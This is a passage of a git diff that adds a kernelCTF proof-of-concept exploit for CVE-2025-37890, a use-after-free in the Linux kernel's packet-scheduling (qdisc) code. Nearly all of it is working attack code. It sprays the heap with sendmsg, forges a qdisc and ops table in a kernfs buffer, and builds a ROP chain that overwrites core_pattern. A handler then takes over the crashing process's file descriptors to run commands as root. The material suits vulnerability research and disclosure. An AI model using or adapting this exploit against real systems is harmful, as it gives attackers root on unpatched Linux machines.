SENDMSG_SIZE 0x2010 +char spray_buf[SENDMSG_SIZE]; + +void spray_sendmsg() +{ + char *buf = spray_buf; + struct msghdr msg = {0}; + struct sockaddr_in addr = {0}; + int sockfd = socket(AF_INET, SOCK_DGRAM, 0); + + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + addr.sin_family = AF_INET; + addr.sin_port = htons(6666); + + msg.msg_control = buf; + msg.msg_controllen = SENDMSG_SIZE; + msg.msg_name = (caddr_t)&addr; + msg.msg_namelen = sizeof(addr); + + sendmsg(sockfd, &msg, 0); +} +/*sendmsg section end*/ + +#include "qdisc.h" +#include "tc_filters.h" +#include "mq_dev.h" // for sending requests to multiqueue device + +/*exp code start*/ +const char desired_core_pattern[] = "|/proc/%P/fd/666 %P"; +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {0}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, desired_core_pattern, strlen(desired_core_pattern)) == 0; +} + +void crash() +{ + int memfd = memfd_create("", 0); + sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff); + dup2(memfd, 666); + close(memfd); + + while (check_core() == 0) + usleep(100); // 0.1ms + + *(size_t *)0 = 0; +} + +void core_pattern_handler(char **argv) +{ + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + /* Get flag. Can't poweroff because CPU 0 is in infinite loop, so crash out.*/ + system("cat /flag;sleep 1;echo c>/proc/sysrq-trigger"); + exit(0); +} + +// offset of forged qdisc from base of kernfs +const size_t KERNFS_BUF_QDISC_OFFSET = 8; +void prepare_rop() +{ + const size_t KERNFS_BUF_QDISC_OPS_OFFSET = KERNFS_BUF_QDISC_OFFSET; // doesn't really matter, but will become initial pivot base + +#define QDISC_OFFS_DEQUEUE (0x8) +#define QDISC_OFFS_OPS (0x18) +#define QDISC_OPS_OFFS_RESET (72) + // this is the final pivot point. we place it after the forged ops table pointers + const size_t KERNFS_BUF_STACK_OFFSET = KERNFS_BUF_QDISC_OFFSET + QDISC_OPS_OFFS_RESET + 8; + + memset(kernfs_data, 'A', sizeof(kernfs_data)); // kernfs does not allow null bytes, so we first fill the buffer + memcpy(kernfs_data, "/a/b/", 5); // allows us to use slashes in the rest of the exploit (used in the core_pattern string) + + *(size_t *)&kernfs_data[KERNFS_BUF_QDISC_OFFSET + QDISC_OFFS_DEQUEUE] = validate_kernfs_val(QDISC_RESET); // qdisc->dequeue + *(size_t *)&kernfs_data[KERNFS_BUF_QDISC_OFFSET + QDISC_OFFS_OPS] = validate_kernfs_val(KERNFS_ADDR + KERNFS_BUF_QDISC_OPS_OFFSET); // qdisc->ops + *(size_t *)&kernfs_data[KERNFS_BUF_QDISC_OFFSET + QDISC_OPS_OFFS_RESET] = validate_kernfs_val(PIVOT_RBP); // qdisc->ops->reset + + // initial pivot point: short ROP chain to pivot to full payload since the bytes after this are already used for qdisc ops pointers + *(size_t *)&kernfs_data[KERNFS_BUF_QDISC_OFFSET] = validate_kernfs_val(0xd00fd00fcafebabe); // garbage - popped into rbp by gadget + // 3 more garbages values popped into registers... then continue ROP + // the next value is actually the qdisc->dequeue pointer above, which is why we need to skip over it + *(size_t *)&kernfs_data[KERNFS_BUF_QDISC_OFFSET + 0x20] = validate_kernfs_val(POP_RSP); + *(size_t *)&kernfs_data[KERNFS_BUF_QDISC_OFFSET + 0x28] = validate_kernfs_val(KERNFS_ADDR + KERNFS_BUF_STACK_OFFSET); + + // final pivot point + size_t *rop = (size_t *)&kernfs_data[KERNFS_BUF_STACK_OFFSET]; + size_t x = 0; + rop[x++] = validate_kernfs_val(POP_RDI); + rop[x++] = validate_kernfs_val(CORE_PATTERN); + + // this offset is the offset of the core_pattern in the kernfs buffer. + // we will append this at the end of the ROP chain + const size_t KERNFS_BUF_CORE_PATTERN_OFFSET = 152; + + // Since our payload location does not contain null bytes, we can use it directly. + rop[x++] = validate_kernfs_val(POP_RSI); + rop[x++] = validate_kernfs_val(KERNFS_ADDR + KERNFS_BUF_CORE_PATTERN_OFFSET); + + rop[x++] = validate_kernfs_val(STRCPY); + + // infinite loop - won't trigger irq crash :D + rop[x++] = validate_kernfs_val(POP_RAX); + rop[x++] = validate_kernfs_val(JMP_RAX); + rop[x++] = validate_kernfs_val(JMP_RAX); + + // append core_pattern + if (((size_t)&rop[x]) - (size_t)kernfs_data != KERNFS_BUF_CORE_PATTERN_OFFSET) + fatal("Incorrect KERNFS_BUF_CORE_PATTERN_OFFSET"); + + strcpy((char *)&rop[x], desired_core_pattern); + send_kernfs_data(); +} + +// Helper function to add rtattr to netlink message +static void add_rtattr(struct nlmsghdr *nlh, int type, const void *data, int len) +{ + struct rtattr *rta; + int rtalen = RTA_LENGTH(len); + + rta = (struct rtattr *)(((char *)nlh) + NLMSG_ALIGN(nlh->nlmsg_len)); + rta->rta_type = type; + rta->rta_len = rtalen; + if (data) + { + memcpy(RTA_DATA(rta), data, len); + } + nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + rtalen; +} + +int create_multiqueue_device(int sock, const char *ifname, __u32 num_tx_queues, __u32 num_rx_queues) +{ + struct + { + struct nlmsghdr nlh; + struct ifinfomsg ifm; + char buf[256]; + } req; + + // Prepare the netlink request + memset(&req, 0, sizeof(req)); + + // Setup the netlink header + req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nlh.nlmsg_type = RTM_NEWLINK; + req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; + req.nlh.nlmsg_seq = 1; + + // Setup the interface info message + req.ifm.ifi_family = AF_UNSPEC; + req.ifm.ifi_type = 0; + req.ifm.ifi_index = 0; + + // Add interface name attribute + add_rtattr(&req.nlh, IFLA_IFNAME, ifname, strlen(ifname) + 1); + + /* number of TX/RX queues (top-level attributes) */ + add_rtattr(&req.nlh, IFLA_NUM_TX_QUEUES, + &num_tx_queues, sizeof(num_tx_queues)); + add_rtattr(&req.nlh, IFLA_NUM_RX_QUEUES, + &num_rx_queues, sizeof(num_rx_queues)); + + // Add linkinfo attribute for dummy type + struct rtattr *linkinfo = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len)); + linkinfo->rta_type = IFLA_LINKINFO; + linkinfo->rta_len = RTA_LENGTH(0); + req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_LENGTH(0); + + // Add kind attribute inside linkinfo + const char *kind = "dummy"; + struct rtattr *kind_attr = (struct rtattr *)(((char *)linkinfo) + RTA_LENGTH(0)); + kind_attr->rta_type = IFLA_INFO_KIND; + kind_attr->rta_len = RTA_LENGTH(strlen(kind) + 1); + memcpy(RTA_DATA(kind_attr), kind, strlen(kind) + 1); + + // Update linkinfo length + linkinfo->rta_len = RTA_LENGTH(RTA_LENGTH(strlen(kind) + 1)); + req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_LENGTH(strlen(kind) + 1); + + // Send the netlink message using the new function + return netlink_send(sock, &req.nlh); +} + +int setup_vuln_tree(const int netlink_fd, const char *multiq_band_name) +{ + // create netem with poison settings + SYSOK(create_qdisc_netem(netlink_fd, get_id("3:0"), get_id(multiq_band_name))); // :1 is bands[0], :2 is bands[1] + SYSOK(send_mq_dev_raw(get_id("3:2"))); // plug + return 0; +} + +const char *determine_band(const int netlink_fd, const int num_tx) +{ + // the idea is simple, we want to figure out which queue our packet goes into, based on its hash + // so, we simply create plugs across all its bands, then send the packet + // we use tc -s to figure out which plug it is currently backlogged in + // with the info, we can reset the situation by removing all the plugs + + // note, the requests must all send the same payload (+ size) in order to have the same hash + // but luckily, priority is not part of the hashed data, so we can modify that. + + // repeat until we get consistent findings + while (1) + { + // 1. setup plugs + for (int i = 0; i < num_tx; i++) + { + int band = 0x20000 + i + 1; + int plug = 0x10000 * (i + 3); + SYSOK(create_qdisc_plug1024(netlink_fd, plug, band)); + } + + // 2. send packet + SYSOK(send_mq_dev_raw(get_id("3:2"))); // plug + + // 3. determine band: tc -s qdisc show dev MQ_DEV + char *result = NULL; + int findings = 0; + + /* output format: + qdisc drr 1: root refcnt 11 + Sent 0 bytes 0 pkt (dropped 0, overlimits 0 requeues 0) + backlog 1042b 1p requeues 0 + qdisc multiq 2: parent 1:1 bands 10/10 + Sent 0 bytes 0 pkt (dropped 0, overlimits 0 requeues 0) + backlog 0b 1p requeues 0 + qdisc plug 4: parent 2:2 + Sent 0 bytes 0 pkt (dropped 0, overlimits 0 requeues 0) + backlog 0b 0p requeues 0 + ... + qdisc plug 9: parent 2:7 + Sent 0 bytes 0 pkt (dropped 0, overlimits 0 requeues 0) + backlog 1042b 1p requeues 0 + */ + + // Execute the tc command and get its output + // bin from https://github.com/static-linux/static-binaries-i386/blob/master/iproute2-4.0.0.tar.gz + FILE *fp = popen("./tc -s qdisc show dev " MQ_DEV, "r"); + if (fp == NULL) + fatal("Failed to run tc command"); + +#define MAX_LINE_LENGTH 0x100 + char line[MAX_LINE_LENGTH]; + char parent_id[32] = {0}; + char qdisc_type[32] = {0}; + char qdisc_id[32] = {0}; + int check_backlog = 0; + // Process the output line by line + while (fgets(line, sizeof(line), fp) != NULL) + { + // Check if line starts with "qdisc plug" + if (sscanf(line, " qdisc %s %s parent %s", qdisc_type, qdisc_id, parent_id) == 3) + { + check_backlog = strcmp(qdisc_type, "plug") == 0; + continue; + } + + if (check_backlog == 1) + { + // skip "Sent 0 bytes 0 pkt..." line + check_backlog++; + continue; + } + + if (check_backlog == 2) + { + check_backlog = 0; + int backlog_bytes = 0; + // Extract backlog bytes, skipping first whitespace char + if (sscanf(&line[1], "backlog %db", &backlog_bytes) == 1) + { + if (backlog_bytes > 0) + { + result = strdup(parent_id); + // if another packet somehow entered the network device, we will have multiple findings + // in such case, we will repeat the test + findings++; + } + } + } + } + + pclose(fp); + + // 4. delete plugs, resetting multiq back to normal + for (int i = 0; i < num_tx; i++) + { + int band = 0x20000 + i + 1; + int plug = 0x10000 * (i + 3); + SYSOK(delete_qdisc(netlink_fd, plug, band, "plug")); + } + + if (findings == 1) + return result; + } + + return ""; +} + +void setup_hfsc_multiq(int netlink_fd, int num_tx) +{ + SYSOK(create_multiqueue_device(netlink_fd, MQ_DEV, num_tx, num_tx)); + PWN_TC_QDISC_INTERFACE = MQ_DEV; + PWN_TC_FILTER_INTERFACE = MQ_DEV; + + SYSOK(set_interface_up(netlink_fd, MQ_DEV)); + + SYSOK(create_qdisc_hfsc(netlink_fd, get_id("1:0"), TC_H_ROOT)); // parent is root + /* create a filter to direct all packets to 1:1 + but we want to drop all unrelated traffic, so we filter on the packet source port + subsequent requests will all use source port = MQ_DEV_SRC_PORT, so they will pass the filter */ + SYSOK(create_filter_src_port(netlink_fd, get_u32_handle("800::800"), get_id("1:0"), get_id("1:1"), MQ_DEV_SRC_PORT)); + struct tc_service_curve fsc = { + .d = 1, + .m1 = UINT_MAX, + .m2 = UINT_MAX}; + SYSOK(create_class_hfsc(netlink_fd, get_id("1:1"), get_id("1:0"), NULL, &fsc, NULL)); + SYSOK(create_class_hfsc(netlink_fd, get_id("1:2"), get_id("1:0"), NULL, &fsc, NULL)); + SYSOK(create_qdisc_multiq(netlink_fd, get_id("2:0"), get_id("1:1"))); +} + +void do_spray_sendmsg() +{ + // reclaim the freed multiq q->queues + size_t *queues = (size_t *)spray_buf; + // write pointers over the first few queues, where curband is pointing into + for (size_t i = 0; i < 10; i++) + { + queues[i] = KERNFS_ADDR + KERNFS_BUF_QDISC_OFFSET; + } + puts("[+] spraying sendmsg"); + spray_sendmsg(); +} + +int setup_uaf_miti(const int netlink_fd) +{ + const int num_tx = (8192 / 8) + 1; + setup_hfsc_multiq(netlink_fd, num_tx); + + const char *target_band = determine_band(netlink_fd, num_tx); + printf("[+] determined band: %s\n", target_band); + + SYSOK(create_qdisc_plug1024(netlink_fd, get_id("10:0"), get_id("1:2"))); // this will be used in trigger_uaf_idx to be the front of drr active list + + SYSOK(setup_vuln_tree(netlink_fd, target_band)); + + // reduces noise by dropping all packets entering the drr + SYSOK(create_filter(netlink_fd, get_u32_handle("800::800"), get_id("1:0"), 0xffff)); // invalid + + puts("[~] deleting multiq parent class"); + SYSOK(delete_class(netlink_fd, get_id("1:1"), get_id("1:0"), "multiq")); + + return 0; +} + +void trigger_uaf_miti() +{ + puts("[+] sending req to plug, trigger dequeue"); + SYSOK(send_mq_dev_raw(get_id("1:2"))); +} + +int main(int argc, char **argv) +{ + setvbuf(stdout, 0, 2, 0); + if (argc > 1) + { + core_pattern_handler(argv); + } + + g_kernel_base = kaslr_leak(); + printf("[>] Kernel base address: 0x%lx\n", g_kernel_base); + + if (geteuid() != 0) + setup_userns(); + + set_cpu(0); // main exploit thread runs on CPU 0. others will run on CPU 1. + + puts("[~] forking process for core_pattern exp later"); + if (fork() == 0) // this process is used to trigger core_pattern exploit + { + set_cpu(1); + crash(); + } + + const int netlink_fd = netlink_open(NETLINK_ROUTE); + if (netlink_fd < 0) + { + fprintf(stderr, "Failed to open Netlink socket\n"); + return EXIT_FAILURE; + } + + SYSOK(set_interface_up(netlink_fd, "lo")); + + // referenced by sendmsg payload later, so we set it up first since we already have kaslr leak + prepare_rop(); + + setup_uaf_miti(netlink_fd); + + // next, we reclaim the freed multiq q->queues + do_spray_sendmsg(); + + trigger_uaf_miti(); + + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/mq_dev.h b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/mq_dev.h new file mode 100644 index 000000000..a682561eb --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/mq_dev.h @@ -0,0 +1,196 @@ +#include + +// used in exploit.c +#define MQ_DEV "mq0" +const uint16_t MQ_DEV_SRC_PORT = 0x1718; +const uint16_t MQ_DEV_DST_PORT = 0x1920; + +// Checksum calculation for IP header +unsigned short in_cksum(unsigned short *addr, int len) +{ + int nleft = len; + int sum = 0; + unsigned short *w = addr; + unsigned short answer = 0; + + while (nleft > 1) + { + sum += *w++; + nleft -= 2; + } + + if (nleft == 1) + { + *(unsigned char *)(&answer) = *(unsigned char *)w; + sum += answer; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + answer = ~sum; + return answer; +} + +/** + * Create a UDP packet with Ethernet, IP, and UDP headers + */ +void create_udp_packet(uint8_t *buffer, size_t *size, + const uint8_t *src_mac, const uint8_t *dst_mac, + const char *src_ip, const char *dst_ip, + uint16_t src_port, uint16_t dst_port, + const void *payload, size_t payload_size) +{ + + // Make sure we don't exceed buffer size + if (sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct udphdr) + payload_size > 1500) + { + fprintf(stderr, "Payload too large for Ethernet frame\n"); + *size = 0; + return; + } + + // Packet components + struct ethhdr *eth = (struct ethhdr *)buffer; + struct iphdr *ip = (struct iphdr *)(buffer + sizeof(struct ethhdr)); + struct udphdr *udp = (struct udphdr *)(buffer + sizeof(struct ethhdr) + sizeof(struct iphdr)); + uint8_t *data = buffer + sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct udphdr); + + // Clear buffer + memset(buffer, 0, 1500); + + // Ethernet header + memcpy(eth->h_dest, dst_mac, ETH_ALEN); + memcpy(eth->h_source, src_mac, ETH_ALEN); + eth->h_proto = htons(ETH_P_IP); + + // IP header + ip->ihl = 5; // Header length in 32-bit words (5 = 20 bytes) + ip->version = 4; // IPv4 + ip->tos = 0; // Type of service (0 = normal) + ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + payload_size); + ip->id = htons(rand() & 0xFFFF); // Random ID + ip->frag_off = 0; // No fragmentation + ip->ttl = 64; // Time to live + ip->protocol = IPPROTO_UDP; // UDP protocol + ip->check = 0; // Will calculate later + ip->saddr = inet_addr(src_ip); // Source IP + ip->daddr = inet_addr(dst_ip); // Destination IP + + // Calculate IP checksum + ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); + + // UDP header + udp->source = htons(src_port); + udp->dest = htons(dst_port); + udp->len = htons(sizeof(struct udphdr) + payload_size); + udp->check = 0; // We'll leave UDP checksum as 0 (optional for IPv4) + + // Copy payload + memcpy(data, payload, payload_size); + + // Set final size + *size = sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct udphdr) + payload_size; + + // Ensure minimum Ethernet frame size + if (*size < ETH_ZLEN) + { + *size = ETH_ZLEN; + } +} + +int send_packet_to_interface(const char *ifname, unsigned int queue_id, const void *packet, size_t packet_size) +{ + int sock_fd; + struct sockaddr_ll socket_address; + struct ifreq if_req; + int ret = -1; + + // Create a raw socket + sock_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (sock_fd < 0) + { + perror("socket creation failed"); + return -1; + } + + // Get interface index + memset(&if_req, 0, sizeof(if_req)); + strncpy(if_req.ifr_name, ifname, IFNAMSIZ - 1); + if (ioctl(sock_fd, SIOCGIFINDEX, &if_req) < 0) + { + perror("SIOCGIFINDEX"); + close(sock_fd); + return -1; + } + + // Set up socket address structure + memset(&socket_address, 0, sizeof(socket_address)); + socket_address.sll_family = AF_PACKET; + socket_address.sll_protocol = htons(ETH_P_ALL); + socket_address.sll_ifindex = if_req.ifr_ifindex; + socket_address.sll_halen = ETH_ALEN; + + // Try to set queue selection via priority + // int priority = queue_id; + if (setsockopt(sock_fd, SOL_SOCKET, SO_PRIORITY, &queue_id, sizeof(queue_id)) < 0) + { + fprintf(stderr, "Warning: Setting priority failed: %s\n", strerror(errno)); + } + + // Send the packet + ret = sendto(sock_fd, packet, packet_size, 0, + (struct sockaddr *)&socket_address, sizeof(socket_address)); + + if (ret < 0) + { + perror("sendto failed"); + close(sock_fd); + return -1; + } + + close(sock_fd); + return 0; +} + +static int _send_mq_dev(uint16_t src_port, uint16_t dst_port, const char *payload, const size_t payload_size, unsigned int queue_id) +{ + // MAC addresses + uint8_t src_mac[6] = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55}; // Source MAC + uint8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // Broadcast + + // IP addresses + char src_ip[] = "192.168.1.100"; + char dst_ip[] = "192.168.1.255"; // Broadcast + + // Buffer for our packet + uint8_t packet[1500]; + size_t packet_size; + + // Create the UDP packet + create_udp_packet(packet, &packet_size, + src_mac, dst_mac, + src_ip, dst_ip, + src_port, dst_port, + payload, payload_size); + if (packet_size == 0) + { + fprintf(stderr, "Failed to create packet\n"); + return 1; + } + + // Send the packet + if (send_packet_to_interface(MQ_DEV, queue_id, packet, packet_size) != 0) + { + fprintf(stderr, "Failed to send packet\n"); + return 1; + } + + return 0; +} + +int send_mq_dev_raw_with_payload(unsigned int prio, const char *payload, const size_t payload_size) +{ + return _send_mq_dev(MQ_DEV_SRC_PORT, MQ_DEV_DST_PORT, payload, payload_size, prio); +} + +#define send_mq_dev_raw(prio) send_mq_dev_raw_with_payload(prio, "", 0) \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/qdisc.h b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/qdisc.h new file mode 100644 index 000000000..1a6fe6e05 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37890_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/qdisc.h @@ -0,0 +1,363 @@ +#ifndef PWN_QDISC_H +#define PWN_QDISC_H + +char *PWN_TC_QDISC_INTERFACE = "lo"; + +int create_qdisc(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "drr"); + + return netlink_send(sock_fd, nlh); +} + +int create_qdisc_multiq(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "multiq"); + + struct tc_multiq_qopt opt = { + .bands = 3, + .max_bands = 3}; // values don't actually matter, it's never used + mnl_attr_put(nlh, TCA_OPTIONS, sizeof(struct tc_multiq_qopt), &opt); + + return netlink_send(sock_fd, nlh); +} + +int create_qdisc_plug1024(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "plug"); + + struct tc_plug_qopt opt = { + .limit = 1024}; // sufficient bytes to hold the largest packet we will send + mnl_attr_put(nlh, TCA_OPTIONS, sizeof(struct tc_plug_qopt), &opt); + + return netlink_send(sock_fd, nlh); +} + +int create_qdisc_hfsc(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + // https://github.com/pantoniou/iproute2/blob/f443565f8df65e7d3b3e7cb5f4e94aec1e12d067/tc/tc_qdisc.c#L346 + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; // Interface index (change as needed) + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + // policy use: https://elixir.bootlin.com/linux/v6.11/source/net/sched/sch_api.c#L1616 + mnl_attr_put_strz(nlh, TCA_KIND, "hfsc"); + + struct tc_hfsc_qopt qopt = {}; + mnl_attr_put(nlh, TCA_OPTIONS, sizeof(qopt), &qopt); + + return netlink_send(sock_fd, nlh); +} + +#define NLMSG_TAIL(nmsg) \ + ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) + +int create_qdisc_netem(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + // https://github.com/pantoniou/iproute2/blob/f443565f8df65e7d3b3e7cb5f4e94aec1e12d067/tc/tc_qdisc.c#L346 + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; // Interface index (change as needed) + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + // policy use: https://elixir.bootlin.com/linux/v6.11/source/net/sched/sch_api.c#L1616 + mnl_attr_put_strz(nlh, TCA_KIND, "netem"); + + // struct nlattr *opts = mnl_attr_nest_start(nlh, TCA_OPTIONS); + + // copied from https://github.com/pantoniou/iproute2/blob/f443565f8df65e7d3b3e7cb5f4e94aec1e12d067/tc/q_netem.c#L437 + // because this protocol has such a stupid parser + struct rtattr *tail = NLMSG_TAIL(nlh); + + struct tc_netem_qopt qopt = { + .limit = 1000, + .latency = 0, + .jitter = 0, + .loss = 0, + .gap = 1, + .duplicate = ~0, + }; + + mnl_attr_put(nlh, TCA_OPTIONS, sizeof(qopt), &qopt); + + tail->rta_len = (void *)NLMSG_TAIL(nlh) - (void *)tail; + + return netlink_send(sock_fd, nlh); +} + +int create_qdisc_hfsc_defaultclass(int sock_fd, __u32 my_handle, __u32 parent_handle, __u16 defcls) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "hfsc"); + + struct tc_hfsc_qopt qopt = { + .defcls = defcls}; + mnl_attr_put(nlh, TCA_OPTIONS, sizeof(qopt), &qopt); + + return netlink_send(sock_fd, nlh); +} + +int modify_qdisc_plug_unplug(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "plug"); + + struct tc_plug_qopt opt = { + .action = TCQ_PLUG_RELEASE_INDEFINITE, + }; + mnl_attr_put(nlh, TCA_OPTIONS, sizeof(struct tc_plug_qopt), &opt); + + return netlink_send(sock_fd, nlh); +} + +int modify_qdisc_plug_replug(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "plug"); + + struct tc_plug_qopt opt = { + .action = TCQ_PLUG_BUFFER, + }; + mnl_attr_put(nlh, TCA_OPTIONS, sizeof(struct tc_plug_qopt), &opt); + + return netlink_send(sock_fd, nlh); +} + +int modify_qdisc_fqcodel(int sock_fd, __u32 my_handle, __u32 parent_handle) +{ + char buf[0x1000] = {0}; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = RTM_NEWQDISC; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE; + + struct tcmsg *tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(struct tcmsg)); + tcm->tcm_family = AF_UNSPEC; + unsigned int ifindex = if_nametoindex(PWN_TC_QDISC_INTERFACE); + if (ifindex == 0) + fatal("ifindex"); + tcm->tcm_ifindex = ifindex; + tcm->tcm_handle = my_handle; + tcm->tcm_parent = parent_handle; + + mnl_attr_put_strz(nlh, TCA_KIND, "fq_codel"); + + struct nlattr *opts = mnl_attr_nest_start(nlh, TCA_OPTIONS); + + 